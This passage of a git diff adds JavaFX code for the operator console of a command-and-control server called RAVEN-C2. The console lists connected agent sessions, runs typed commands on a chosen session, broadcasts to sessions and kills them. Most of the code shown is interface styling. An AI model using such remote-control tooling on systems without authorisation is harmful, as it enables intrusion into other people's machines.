String(RunningProcess.getInputStream().readAllBytes()).trim(); + RunningProcess.waitFor(); + if (!Output.isBlank()) return Math.max(MinWidth, Integer.parseInt(Output)); + } catch (Exception Ignored) {} + return null; + } + + private Integer DetectWindows() { + Integer Width = DetectWindowsViaPowerShell(); + if (Width != null) return Width; + return DetectWindowsViaModeCon(); + } + + private Integer DetectWindowsViaPowerShell() { + try { + ProcessBuilder ProcessSetup = new ProcessBuilder( + "powershell.exe", "-NoProfile", "-NonInteractive", + "-Command", "[Console]::WindowWidth" + ); + ProcessSetup.redirectErrorStream(true); + ProcessSetup.redirectInput(ProcessBuilder.Redirect.INHERIT); + Process RunningProcess = ProcessSetup.start(); + String Output = new String(RunningProcess.getInputStream().readAllBytes()).trim(); + boolean Finished = RunningProcess.waitFor(1500, TimeUnit.MILLISECONDS); + if (!Finished) { RunningProcess.destroyForcibly(); return null; } + if (!Output.isBlank()) { + String Digits = Output.replaceAll("\\D+", ""); + if (!Digits.isBlank()) { + int Value = Integer.parseInt(Digits); + if (Value >= 20 && Value <= 1000) return Math.max(MinWidth, Value); + } + } + } catch (Exception Ignored) {} + return null; + } + + private Integer DetectWindowsViaModeCon() { + try { + ProcessBuilder ProcessSetup = new ProcessBuilder("cmd.exe", "/c", "mode con"); + ProcessSetup.redirectErrorStream(true); + Process RunningProcess = ProcessSetup.start(); + String Output = new String(RunningProcess.getInputStream().readAllBytes()); + boolean Finished = RunningProcess.waitFor(1500, TimeUnit.MILLISECONDS); + if (!Finished) { RunningProcess.destroyForcibly(); return null; } + for (String Line : Output.split("\\r?\\n")) { + String Lower = Line.toLowerCase(); + if (Lower.contains("column") || Lower.contains("kolom")) { + String Digits = Line.replaceAll("[^0-9]", ""); + if (!Digits.isBlank()) { + int Value = Integer.parseInt(Digits); + if (Value >= 20 && Value <= 1000) return Math.max(MinWidth, Value); + } + } + } + } catch (Exception Ignored) {} + return null; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/GUI.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/GUI.java new file mode 100644 index 0000000..d4b186e --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/GUI.java @@ -0,0 +1,443 @@ +package com.raven.interfaces.GUI; + +import com.raven.core.event.EventManager.EventType; +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.component.ComponentFactory; +import com.raven.interfaces.GUI.module.UI.frame.*; +import com.raven.interfaces.GUI.module.core.database.AuthService; +import com.raven.interfaces.GUI.module.core.server.CommandDispatcher; +import com.raven.interfaces.GUI.module.core.server.ServerController; +import com.raven.interfaces.GUI.module.core.session.SessionManager; +import com.raven.interfaces.GUI.module.core.session.SessionRow; +import com.raven.utils.ServerConfig; +import com.raven.utils.SystemHelper; +import javafx.animation.FadeTransition; +import javafx.application.Application; +import javafx.application.Platform; +import javafx.collections.FXCollections; +import javafx.collections.ObservableList; +import javafx.geometry.Insets; +import javafx.geometry.Pos; +import javafx.scene.Node; +import javafx.scene.Scene; +import javafx.scene.control.*; +import javafx.scene.layout.*; +import javafx.scene.text.Font; +import javafx.stage.Stage; +import javafx.util.Duration; + +import java.net.URL; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.*; +import java.util.concurrent.Executors; + +public class GUI extends Application { + + private static final String IconCircle = "\uEF4A"; + + private static ServerConfig ServerConfiguration; + private static boolean TeamModeEnabled = false; + + public static void Launch(ServerConfig Configuration) { + ServerConfiguration = Configuration; + TeamModeEnabled = false; + Application.launch(GUI.class); + } + + public static void LaunchTeam(ServerConfig Configuration) { + ServerConfiguration = Configuration; + TeamModeEnabled = true; + Application.launch(GUI.class); + } + + private AuthService Authentication; + private SessionManager SessionController; + private ServerController ServerControl; + private CommandDispatcher CommandDispatcherInstance; + + private final ObservableList SessionRows = FXCollections.observableArrayList(); + private final ObservableList LogEntries = FXCollections.observableArrayList(); + + private int SelectedSessionId = -1; + private String ActivePage = "Overview"; + + private final Map Pages = new LinkedHashMap<>(); + private final Map NavItemMap = new LinkedHashMap<>(); + + private Label[] StatusIndicatorRef = new Label[1]; + private Label[] UptimeLabelRef = new Label[1]; + private Label[] SessionCountLabelRef = new Label[1]; + private Label[] ServerStatusLabelRef = new Label[1]; + private Label[] ServerInfoLabelRef = new Label[1]; + private Label[] ToggleStatusLabelRef = new Label[1]; + private Label[] SelectedLabelRef = new Label[1]; + private TextArea[] TerminalOutputRef = new TextArea[1]; + private TextArea[] LogOutputRef = new TextArea[1]; + private TextField[] TerminalCommandRef = new TextField[1]; + private TextField[] SessionIdFieldRef = new TextField[1]; + private TextField[] HostFieldRef = new TextField[1]; + private TextField[] PortFieldRef = new TextField[1]; + private ToggleButton[] ServerToggleRef = new ToggleButton[1]; + private TableView[] SessionTableRef = new TableView[1]; + private CommandDispatcher[] DispatcherRef = new CommandDispatcher[1]; + + private StackPane ContentArea; + + @Override + public void start(Stage Stage) { + Authentication = new AuthService(ServerConfiguration); + if (TeamModeEnabled && !PopupBuilder.ShowLoginDialog(Stage, Authentication)) { + Platform.exit(); + return; + } + + Stage.setTitle("RAVEN"); + Stage.setWidth(1440); + Stage.setHeight(900); + Stage.setMinWidth(980); + Stage.setMinHeight(620); + + try { + Font.loadFont(getClass().getResourceAsStream("/fonts/MaterialIcons-Regular.ttf"), 16); + } catch (Exception Ignored) {} + + ContentArea = new StackPane(); + ContentArea.setStyle("-fx-background-color:" + Palette.Background + ";"); + + VBox SidebarNode = SidebarBuilder.Build( + this::NavigateToPage, NavItemMap, StatusIndicatorRef, + Authentication.GetOperatorName() + ); + + BuildAllPages(); + NavigateToPage("Overview"); + + VBox CenterColumn = new VBox(0); + VBox.setVgrow(ContentArea, Priority.ALWAYS); + CenterColumn.getChildren().addAll(BuildTopBar(), ContentArea, BuildStatusBar()); + + BorderPane RootLayout = new BorderPane(); + RootLayout.setStyle("-fx-background-color:" + Palette.Background + ";"); + RootLayout.setLeft(SidebarNode); + RootLayout.setCenter(CenterColumn); + + Scene AppScene = new Scene(RootLayout); + URL StylesheetUrl = getClass().getResource("styles/css/raven.css"); + if (StylesheetUrl == null) + StylesheetUrl = getClass().getResource("/com/raven/interfaces/GUI/styles/css/raven.css"); + if (StylesheetUrl != null) + AppScene.getStylesheets().add(StylesheetUrl.toExternalForm()); + + Stage.setScene(AppScene); + Stage.setOnCloseRequest(e -> { + if (ServerControl != null) ServerControl.Stop(); + Platform.exit(); + }); + Stage.show(); + StartUptimeThread(); + } + + private HBox BuildTopBar() { + HBox TopBar = new HBox(12); + TopBar.setAlignment(Pos.CENTER_LEFT); + TopBar.setPadding(new Insets(0, 18, 0, 18)); + TopBar.setMinHeight(52); + TopBar.setMaxHeight(52); + TopBar.setStyle( + "-fx-background-color:" + Palette.BackgroundDeep + ";" + + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + + VBox HeadingBox = new VBox(2); + Label TitleLabel = new Label("RAVEN Operations Console"); + TitleLabel.getStyleClass().add("topbar-title"); + Label SubtitleLabel = new Label("Listener · Sessions · Terminal · Commands"); + SubtitleLabel.getStyleClass().add("topbar-sub"); + HeadingBox.getChildren().addAll(TitleLabel, SubtitleLabel); + + Label DevelopmentBadge = new Label("development"); + DevelopmentBadge.getStyleClass().add("topbar-badge"); + + Region FlexSpacer = ComponentFactory.FlexSpacer(true); + + Label UptimeLabel = new Label("00:00:00"); + UptimeLabel.getStyleClass().add("status-bar-text"); + UptimeLabelRef[0] = UptimeLabel; + + Region Divider = StyleHelper.VerticalDivider(); + + Label SessionCountLabel = new Label("0 sessions"); + SessionCountLabel.getStyleClass().add("status-bar-accent"); + SessionCountLabelRef[0] = SessionCountLabel; + + TopBar.getChildren().addAll(HeadingBox, DevelopmentBadge, FlexSpacer, UptimeLabel, Divider, SessionCountLabel); + + if (Authentication.GetOperatorName() != null) { + TopBar.getChildren().add(StyleHelper.VerticalDivider()); + StackPane OperatorAvatar = ComponentFactory.CircleChip(Authentication.GetOperatorName(), Palette.AccentGreen, 28); + Label OperatorLabel = new Label( + Authentication.GetOperatorName() + + (Authentication.GetOperatorRole() != null + ? " [" + Authentication.GetOperatorRole().name() + "]" : "") + ); + OperatorLabel.setStyle("-fx-font-size:10px; -fx-text-fill:" + Palette.TextTertiary + ";"); + TopBar.getChildren().addAll(OperatorAvatar, OperatorLabel); + } + return TopBar; + } + + private HBox BuildStatusBar() { + HBox StatusBar = new HBox(10); + StatusBar.setAlignment(Pos.CENTER_LEFT); + StatusBar.setPadding(new Insets(4, 14, 4, 14)); + StatusBar.setStyle( + "-fx-background-color:" + Palette.BackgroundVoid + ";" + + "-fx-border-color:" + Palette.BorderSubtle + " transparent transparent transparent;" + + "-fx-border-width:1 0 0 0;" + ); + + Label StatusDot = new Label(IconCircle); + StatusDot.setStyle( + "-fx-font-family:'Material Icons';" + + "-fx-font-size:7px;" + + "-fx-text-fill:" + Palette.AccentRed + ";" + ); + Label StatusText = new Label("RAVEN v3.0 · MatrixTM26"); + StatusText.getStyleClass().add("status-bar-text"); + + Region StatusSpacer = ComponentFactory.FlexSpacer(true); + + Label ModeLabel = new Label(ServerConfiguration.GetServerMode().toUpperCase()); + ModeLabel.getStyleClass().add("status-bar-text"); + StatusBar.getChildren().addAll(StatusDot, StatusText, StatusSpacer, ModeLabel); + return StatusBar; + } + + private void BuildAllPages() { + TextArea[] CommandCenterOutputRef = new TextArea[1]; + + Pages.put("Overview", PageBuilder.Overview()); + Pages.put("Sessions", PageBuilder.Sessions( + SessionRows, + () -> { if (SessionController != null) SessionController.Refresh(); }, + this::OpenExecutePopup, + this::OpenBroadcastPopup, + this::KillSelectedSession, + DispatcherRef, SessionTableRef, LogOutputRef, + SelectedId -> { + SelectedSessionId = SelectedId; + if (SelectedLabelRef[0] != null) { + SessionRows.stream() + .filter(Row -> Integer.parseInt(Row.getId()) == SelectedId) + .findFirst() + .ifPresent(Row -> SelectedLabelRef[0].setText(Row.getName() + " #" + SelectedId)); + } + } + )); + Pages.put("Terminal", PageBuilder.Terminal( + SessionIdFieldRef, TerminalOutputRef, TerminalCommandRef, + this::ExecuteTerminalCommand, SelectedLabelRef + )); + Pages.put("Command Center", PageBuilder.CommandCenter(DispatcherRef, CommandCenterOutputRef)); + Pages.put("Logs", PageBuilder.Logs(LogOutputRef)); + Pages.put("Settings", PageBuilder.Settings( + ServerConfiguration, + ServerToggleRef, HostFieldRef, PortFieldRef, + ServerStatusLabelRef, ServerInfoLabelRef, ToggleStatusLabelRef, + this::InitializeServer, + () -> { if (ServerControl != null) ServerControl.Stop(); } + )); + } + + private void NavigateToPage(String PageName) { + ActivePage = PageName; + SidebarBuilder.ApplyActiveState(NavItemMap, PageName); + Node TargetPage = Pages.get(PageName); + if (TargetPage != null) { + FadeTransition FadeIn = new FadeTransition(Duration.millis(150), TargetPage); + FadeIn.setFromValue(0.5); + FadeIn.setToValue(1.0); + ContentArea.getChildren().setAll(TargetPage); + FadeIn.play(); + } + } + + private void InitializeServer() { + if (HostFieldRef[0] == null || PortFieldRef[0] == null) return; + String HostAddress = HostFieldRef[0].getText().trim(); + int PortNumber; + try { + PortNumber = Integer.parseInt(PortFieldRef[0].getText().trim()); + } catch (NumberFormatException Exception) { + ShowAlert(Alert.AlertType.WARNING, "Invalid port number"); + Platform.runLater(() -> { + if (ServerToggleRef[0] != null) { + ServerToggleRef[0].setSelected(false); + ServerToggleRef[0].setText("OFF"); + } + }); + return; + } + + ServerControl = new ServerController( + ServerConfiguration, + StatusIndicatorRef[0], + ServerStatusLabelRef[0], + ServerInfoLabelRef[0], + null, null, + this::AddLogEntry, + this::HandleServerEvent, + () -> { + Platform.runLater(() -> { + if (ToggleStatusLabelRef[0] != null) { + ToggleStatusLabelRef[0].setText("Running on " + HostAddress + ":" + PortNumber); + ToggleStatusLabelRef[0].setStyle("-fx-text-fill:" + Palette.AccentGreen + "; -fx-font-size:11px;"); + } + }); + SessionController = new SessionManager( + ServerControl.GetServer(), + Authentication.GetDb(), + SessionRows, + SessionCountLabelRef[0] + ); + CommandDispatcherInstance = new CommandDispatcher( + ServerControl.GetServer(), Authentication.GetDb(), + SessionController, this::AddLogEntry, Authentication.GetOperatorName() + ); + DispatcherRef[0] = CommandDispatcherInstance; + }, + () -> Platform.runLater(() -> { + if (ToggleStatusLabelRef[0] != null) { + ToggleStatusLabelRef[0].setText("Server is offline"); + ToggleStatusLabelRef[0].setStyle("-fx-font-size:11px; -fx-text-fill:" + Palette.TextTertiary + ";"); + } + SessionRows.clear(); + if (SessionCountLabelRef[0] != null) + SessionCountLabelRef[0].setText("0 sessions"); + }) + ); + ServerControl.Start(HostAddress, PortNumber); + } + + private void ExecuteTerminalCommand() { + if (SessionIdFieldRef[0] == null || TerminalCommandRef[0] == null) return; + String SessionIdText = SessionIdFieldRef[0].getText().trim(); + String CommandText = TerminalCommandRef[0].getText().trim(); + if (SessionIdText.isEmpty() || CommandText.isEmpty()) return; + int SessionId; + try { + SessionId = Integer.parseInt(SessionIdText); + } catch (NumberFormatException Exception) { + AppendToTerminal("[!] Invalid session ID\n"); + return; + } + if (ServerControl == null || !ServerControl.IsRunning()) { + AppendToTerminal("[!] Server not running\n"); + return; + } + AppendToTerminal("> " + CommandText + "\n"); + TerminalCommandRef[0].clear(); + AddLogEntry("> #" + SessionId + ": " + CommandText); + final int FinalSessionId = SessionId; + Executors.newSingleThreadExecutor().submit(() -> { + String[] Result = ServerControl.GetServer().ExecuteCommand(FinalSessionId, CommandText); + boolean Success = Boolean.parseBoolean(Result[0]); + Platform.runLater(() -> { + AppendToTerminal(Result[1] + "\n\n"); + AddLogEntry(Success ? "[+] OK" : "[!] " + Result[1]); + }); + }); + } + + private void OpenExecutePopup() { + if (SelectedSessionId < 0) { + ShowAlert(Alert.AlertType.WARNING, "Select a session first"); + return; + } + if (ServerControl == null || !ServerControl.IsRunning()) { + ShowAlert(Alert.AlertType.WARNING, "Server not running"); + return; + } + PopupBuilder.ShowExecuteWindow(SelectedSessionId, ServerControl); + } + + private void OpenBroadcastPopup() { + if (ServerControl == null || !ServerControl.IsRunning()) { + ShowAlert(Alert.AlertType.WARNING, "Server not running"); + return; + } + PopupBuilder.ShowBroadcastWindow(ServerControl, Authentication); + } + + private void KillSelectedSession() { + if (SelectedSessionId < 0) { + ShowAlert(Alert.AlertType.WARNING, "Select a session first"); + return; + } + Alert ConfirmDialog = new Alert(Alert.AlertType.CONFIRMATION, "Terminate SESSION-" + SelectedSessionId + "?"); + ConfirmDialog.setHeaderText(null); + ConfirmDialog.showAndWait().ifPresent(Response -> { + if (Response == ButtonType.OK) { + if (SessionController != null) SessionController.Kill(SelectedSessionId); + SelectedSessionId = -1; + if (SelectedLabelRef[0] != null) SelectedLabelRef[0].setText("No session selected"); + } + }); + } + + private void HandleServerEvent(EventType EventType, Map EventData) { + switch (EventType) { + case AgentConnected -> { + AddLogEntry("[+] [" + EventData.get("Type") + "] SESSION-" + EventData.get("ID") + + ": " + EventData.get("AgentName") + " (" + EventData.get("OS") + ")"); + Platform.runLater(() -> { if (SessionController != null) SessionController.Refresh(); }); + } + case AgentDisconnected -> { + AddLogEntry("[-] SESSION-" + EventData.get("ID") + " disconnected: " + EventData.get("Reason")); + Platform.runLater(() -> { if (SessionController != null) SessionController.Refresh(); }); + } + case Error -> AddLogEntry("[!] " + EventData.get("Message")); + } + } + + private void AddLogEntry(String Message) { + String Timestamp = LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")); + String LogLine = "[" + Timestamp + "] " + Message; + LogEntries.add(LogLine); + if (LogEntries.size() > ServerConfiguration.GetMaxLogEntries()) LogEntries.remove(0); + Platform.runLater(() -> { + if (LogOutputRef[0] != null) LogOutputRef[0].appendText(LogLine + "\n"); + }); + } + + private void AppendToTerminal(String Text) { + if (TerminalOutputRef[0] != null) TerminalOutputRef[0].appendText(Text); + } + + private void StartUptimeThread() { + Thread UptimeThread = new Thread(() -> { + while (true) { + try { Thread.sleep(1000); } catch (InterruptedException Ignored) {} + if (ServerControl != null && ServerControl.GetStartTime() != null) { + long Seconds = java.time.Duration.between( + ServerControl.GetStartTime(), java.time.Instant.now() + ).getSeconds(); + String FormattedUptime = SystemHelper.FormatUptime(Seconds); + Platform.runLater(() -> { + if (UptimeLabelRef[0] != null) UptimeLabelRef[0].setText(FormattedUptime); + }); + } + } + }); + UptimeThread.setDaemon(true); + UptimeThread.start(); + } + + private void ShowAlert(Alert.AlertType AlertType, String Message) { + Alert AlertDialog = new Alert(AlertType, Message); + AlertDialog.setHeaderText(null); + AlertDialog.showAndWait(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/color/Palette.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/color/Palette.java new file mode 100644 index 0000000..65d8e55 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/color/Palette.java @@ -0,0 +1,39 @@ +package com.raven.interfaces.GUI.module.UI.color; + +public final class Palette { + + private Palette() {} + + public static final String Background = "#1c1c1e"; + public static final String BackgroundDeep = "#111113"; + public static final String BackgroundPanel = "#232325"; + public static final String BackgroundSurface = "#2c2c2e"; + public static final String BackgroundInput = "#2c2c2e"; + public static final String BackgroundVoid = "#0d0d0f"; + + public static final String BorderSubtle = "#2c2c2e"; + public static final String BorderDefault = "#3a3a3c"; + public static final String BorderStrong = "#48484a"; + + public static final String AccentBlue = "#0a84ff"; + public static final String AccentGreen = "#30d158"; + public static final String AccentRed = "#ff453a"; + public static final String AccentOrange = "#ff9f0a"; + public static final String AccentTeal = "#5ac8fa"; + public static final String AccentPink = "#ff375f"; + + public static final String TextPrimary = "#f2f2f7"; + public static final String TextSecondary = "#aeaeb2"; + public static final String TextTertiary = "#636366"; + public static final String TextQuaternary = "#3a3a3c"; + + public static final String TerminalBackground = "#0d0d0f"; + public static final String TerminalText = "#c9d1d9"; + public static final String TerminalGreen = "#30d158"; + public static final String TerminalBlue = "#0a84ff"; + public static final String TerminalPink = "#ff375f"; + + public static final String StatusOnline = AccentGreen; + public static final String StatusOffline = AccentRed; + public static final String StatusWarning = AccentOrange; +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/component/ComponentFactory.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/component/ComponentFactory.java new file mode 100644 index 0000000..33c744a --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/component/ComponentFactory.java @@ -0,0 +1,268 @@ +package com.raven.interfaces.GUI.module.UI.component; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import javafx.animation.FadeTransition; +import javafx.animation.TranslateTransition; +import javafx.beans.property.BooleanProperty; +import javafx.beans.property.SimpleBooleanProperty; +import javafx.geometry.Insets; +import javafx.geometry.Pos; +import javafx.scene.Node; +import javafx.scene.control.Button; +import javafx.scene.control.Label; +import javafx.scene.control.Tooltip; +import javafx.scene.effect.DropShadow; +import javafx.scene.layout.*; +import javafx.scene.paint.Color; +import javafx.scene.shape.Circle; +import javafx.scene.shape.Rectangle; +import javafx.util.Duration; + +public final class ComponentFactory { + + private ComponentFactory() {} + + public static Label MaterialIcon(String Codepoint, String HexColor, int SizePx) { + Label IconLabel = new Label(Codepoint); + IconLabel.setStyle( + "-fx-font-family:'Material Icons';" + + "-fx-font-size:" + SizePx + "px;" + + "-fx-text-fill:" + HexColor + ";" + ); + return IconLabel; + } + + public static Label SmallCapsLabel(String Text, String HexColor) { + Label CapsLabel = new Label(Text.toUpperCase()); + CapsLabel.setStyle( + "-fx-text-fill:" + HexColor + ";" + + "-fx-font-size:9px;" + + "-fx-font-weight:bold;" + + "-fx-letter-spacing:0.06em;" + ); + return CapsLabel; + } + + public static Label BodyLabel(String Text) { + Label BodyLbl = new Label(Text); + BodyLbl.setStyle("-fx-text-fill:" + Palette.TextSecondary + "; -fx-font-size:12px;"); + return BodyLbl; + } + + public static Label MutedLabel(String Text) { + Label MutedLbl = new Label(Text); + MutedLbl.setStyle("-fx-text-fill:" + Palette.TextTertiary + "; -fx-font-size:11px;"); + return MutedLbl; + } + + public static Button ActionButton(String Text, String... StyleClasses) { + Button ActionBtn = new Button(Text); + for (String StyleClass : StyleClasses) + ActionBtn.getStyleClass().add(StyleClass); + return ActionBtn; + } + + public static Button IconButton(String Codepoint, String TooltipText, + javafx.event.EventHandler OnClick) { + Button IconBtn = new Button(Codepoint); + IconBtn.getStyleClass().add("btn-icon"); + IconBtn.setTooltip(new Tooltip(TooltipText)); + IconBtn.setOnAction(OnClick); + return IconBtn; + } + + public static StackPane IconChip(String Codepoint, String AccentHex, int ChipSize, int IconSizePx) { + StackPane Chip = new StackPane(); + Chip.setPrefSize(ChipSize, ChipSize); + Chip.setMinSize(ChipSize, ChipSize); + Chip.setStyle( + "-fx-background-color:" + AccentHex + "1a;" + + "-fx-background-radius:" + (ChipSize / 3) + ";" + ); + Chip.getChildren().add(MaterialIcon(Codepoint, AccentHex, IconSizePx)); + return Chip; + } + + public static StackPane CircleChip(String InitialChar, String AccentHex, int DiameterPx) { + StackPane CircleContainer = new StackPane(); + CircleContainer.setPrefSize(DiameterPx, DiameterPx); + CircleContainer.setMinSize(DiameterPx, DiameterPx); + CircleContainer.setStyle( + "-fx-background-color:" + AccentHex + "1a;" + + "-fx-background-radius:" + DiameterPx + ";" + ); + Label Initial = new Label(InitialChar.substring(0, 1).toUpperCase()); + Initial.setStyle( + "-fx-text-fill:" + AccentHex + ";" + + "-fx-font-size:" + (int)(DiameterPx * 0.42) + "px;" + + "-fx-font-weight:bold;" + ); + CircleContainer.getChildren().add(Initial); + return CircleContainer; + } + + public static VBox PanelCard(String TitleText, String IconCodepoint, String IconHex) { + VBox Card = new VBox(0); + Card.getStyleClass().add("panel-card"); + + HBox Header = new HBox(8); + Header.getStyleClass().add("panel-header"); + Header.setAlignment(Pos.CENTER_LEFT); + Header.getChildren().addAll( + MaterialIcon(IconCodepoint, IconHex, 13), + SmallCapsLabel(TitleText, Palette.TextTertiary) + ); + + VBox Body = new VBox(10); + Body.setPadding(new Insets(14)); + Card.getChildren().addAll(Header, Body); + return Card; + } + + public static VBox GetPanelBody(VBox PanelCard) { + return (VBox) PanelCard.getChildren().get(1); + } + + public static VBox StatCard(String Title, String Value, String AccentHex, + String IconCodepoint, String Delta, boolean DeltaPositive) { + VBox Card = new VBox(8); + Card.getStyleClass().add("stat-card"); + Card.setStyle( + "-fx-background-color:" + Palette.Background + ";" + + "-fx-border-color:" + Palette.BorderSubtle + ";" + + "-fx-border-width:1;" + + "-fx-background-radius:10;" + + "-fx-border-radius:10;" + + "-fx-border-left-color:" + AccentHex + ";" + + "-fx-border-left-width:3;" + + "-fx-padding:18 20 18 20;" + + "-fx-effect:dropshadow(gaussian,rgba(0,0,0,0.20),6,0,0,2);" + ); + + HBox TopRow = new HBox(); + TopRow.setAlignment(Pos.CENTER_RIGHT); + TopRow.getChildren().add(IconChip(IconCodepoint, AccentHex, 36, 16)); + + Label ValueLabel = new Label(Value); + ValueLabel.getStyleClass().add("stat-value"); + ValueLabel.setStyle("-fx-text-fill:" + Palette.TextPrimary + "; -fx-font-size:28px; -fx-font-weight:bold;"); + + Label TitleLabel = new Label(Title); + TitleLabel.getStyleClass().add("stat-label"); + + HBox DeltaRow = new HBox(4); + DeltaRow.setAlignment(Pos.CENTER_LEFT); + Label DeltaLabel = new Label(Delta); + DeltaLabel.getStyleClass().add(DeltaPositive ? "stat-delta-pos" : "stat-delta-neg"); + Label CompareLabel = MutedLabel("vs last"); + DeltaRow.getChildren().addAll(DeltaLabel, CompareLabel); + + Card.getChildren().addAll(TopRow, ValueLabel, TitleLabel, DeltaRow); + + FadeTransition FadeIn = new FadeTransition(Duration.millis(320), Card); + FadeIn.setFromValue(0); + FadeIn.setToValue(1); + FadeIn.play(); + return Card; + } + + public static HBox RowEntry(String LabelText, Node ValueNode) { + HBox EntryRow = new HBox(10); + EntryRow.setAlignment(Pos.CENTER_LEFT); + Label EntryLabel = new Label(LabelText); + EntryLabel.setMinWidth(76); + EntryLabel.setStyle("-fx-font-size:11px; -fx-text-fill:" + Palette.TextTertiary + ";"); + EntryRow.getChildren().addAll(EntryLabel, ValueNode); + return EntryRow; + } + + public static HBox ActivityRow(String IconCodepoint, String AccentHex, String Message, String Timestamp) { + HBox Row = new HBox(12); + Row.setAlignment(Pos.CENTER_LEFT); + Row.setPadding(new Insets(10, 14, 10, 14)); + Row.setStyle( + "-fx-border-color:transparent transparent " + Palette.BorderSubtle + " transparent;" + + "-fx-border-width:0 0 1 0;" + ); + StackPane IconWrapper = new StackPane(); + IconWrapper.setPrefSize(32, 32); + IconWrapper.setMinSize(32, 32); + IconWrapper.setStyle("-fx-background-color:" + AccentHex + "18; -fx-background-radius:50;"); + IconWrapper.getChildren().add(MaterialIcon(IconCodepoint, AccentHex, 14)); + + VBox Info = new VBox(2); + Label MessageLabel = new Label(Message); + MessageLabel.setStyle("-fx-text-fill:" + Palette.TextSecondary + "; -fx-font-size:12px;"); + Label TimestampLabel = new Label(Timestamp); + TimestampLabel.setStyle("-fx-text-fill:" + Palette.TextTertiary + "; -fx-font-size:10px;"); + Info.getChildren().addAll(MessageLabel, TimestampLabel); + HBox.setHgrow(Info, Priority.ALWAYS); + Row.getChildren().addAll(IconWrapper, Info); + return Row; + } + + public static ToggleSwitch BuildToggleSwitch() { + return new ToggleSwitch(); + } + + public static class ToggleSwitch extends StackPane { + + private static final double TrackWidth = 42; + private static final double TrackHeight = 24; + private static final double ThumbRadius = 9; + private static final double TravelDistance = (TrackWidth / 2) - ThumbRadius - 2; + + private final BooleanProperty SwitchedOn = new SimpleBooleanProperty(false); + private final Rectangle Track = new Rectangle(TrackWidth, TrackHeight); + private final Circle Thumb = new Circle(ThumbRadius); + private final TranslateTransition Animation = new TranslateTransition(Duration.millis(200), Thumb); + + public ToggleSwitch() { + Track.setArcWidth(TrackHeight); + Track.setArcHeight(TrackHeight); + ApplyTrackColor(false); + + Thumb.setFill(Color.WHITE); + Thumb.setTranslateX(-TravelDistance); + Thumb.setEffect(new DropShadow(4, 0, 1, Color.rgb(0, 0, 0, 0.30))); + + getChildren().addAll(Track, Thumb); + setAlignment(Pos.CENTER); + setPrefSize(TrackWidth, TrackHeight); + setMaxSize(TrackWidth, TrackHeight); + setMinSize(TrackWidth, TrackHeight); + setCursor(javafx.scene.Cursor.HAND); + + SwitchedOn.addListener((Observable, OldValue, IsOn) -> AnimateSwitch(IsOn)); + setOnMouseClicked(e -> SwitchedOn.set(!SwitchedOn.get())); + } + + private void AnimateSwitch(boolean IsOn) { + Animation.stop(); + Animation.setToX(IsOn ? TravelDistance : -TravelDistance); + Animation.play(); + ApplyTrackColor(IsOn); + } + + private void ApplyTrackColor(boolean IsOn) { + Track.setFill(IsOn ? Color.web(Palette.AccentGreen) : Color.web(Palette.BorderStrong)); + } + + public BooleanProperty SwitchedOnProperty() { return SwitchedOn; } + public boolean IsSwitchedOn() { return SwitchedOn.get(); } + public void SetSwitchedOn(boolean Value) { SwitchedOn.set(Value); } + } + + public static Label PlaceholderLabel(String Text) { + Label Placeholder = new Label(Text); + Placeholder.setStyle("-fx-text-fill:" + Palette.TextQuaternary + "; -fx-font-size:12px;"); + return Placeholder; + } + + public static Region FlexSpacer(boolean Horizontal) { + Region Spacer = new Region(); + if (Horizontal) HBox.setHgrow(Spacer, Priority.ALWAYS); + else VBox.setVgrow(Spacer, Priority.ALWAYS); + return Spacer; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PageBuilder.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PageBuilder.java new file mode 100644 index 0000000..184a200 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/PageBuilder.java @@ -0,0 +1,479 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.component.ComponentFactory; +import com.raven.interfaces.GUI.module.core.server.CommandDispatcher; +import com.raven.interfaces.GUI.module.core.server.ServerController; +import com.raven.interfaces.GUI.module.core.session.SessionManager; +import com.raven.interfaces.GUI.module.core.session.SessionRow; +import com.raven.utils.ServerConfig; +import javafx.collections.ObservableList; +import javafx.collections.transformation.FilteredList; +import javafx.geometry.Insets; +import javafx.geometry.Orientation; +import javafx.geometry.Pos; +import javafx.scene.control.*; +import javafx.scene.control.cell.PropertyValueFactory; +import javafx.scene.layout.*; + +import java.util.function.Consumer; + +public final class PageBuilder { + + private static final String IconDevices = "\uE32B"; + private static final String IconWifi = "\uE63E"; + private static final String IconCircle = "\uEF4A"; + private static final String IconTerminal = "\uEB8E"; + private static final String IconRefresh = "\uE5D5"; + private static final String IconPlay = "\uE037"; + private static final String IconBroadcast = "\uE0C9"; + private static final String IconDelete = "\uE872"; + private static final String IconClear = "\uE14C"; + private static final String IconSend = "\uE163"; + private static final String IconCode = "\uE86F"; + private static final String IconList = "\uE896"; + private static final String IconExport = "\uE2C4"; + private static final String IconDns = "\uE875"; + private static final String IconShield = "\uE9E0"; + private static final String IconCheck = "\uE5CA"; + private static final String IconWarning = "\uE002"; + + private PageBuilder() {} + + public static VBox Overview() { + VBox Page = new VBox(0); + Page.setStyle("-fx-background-color:" + Palette.Background + ";"); + + GridPane StatGrid = new GridPane(); + StatGrid.setHgap(16); + StatGrid.setVgap(0); + StatGrid.setPadding(new Insets(16)); + for (int Index = 0; Index < 4; Index++) { + ColumnConstraints Column = new ColumnConstraints(); + 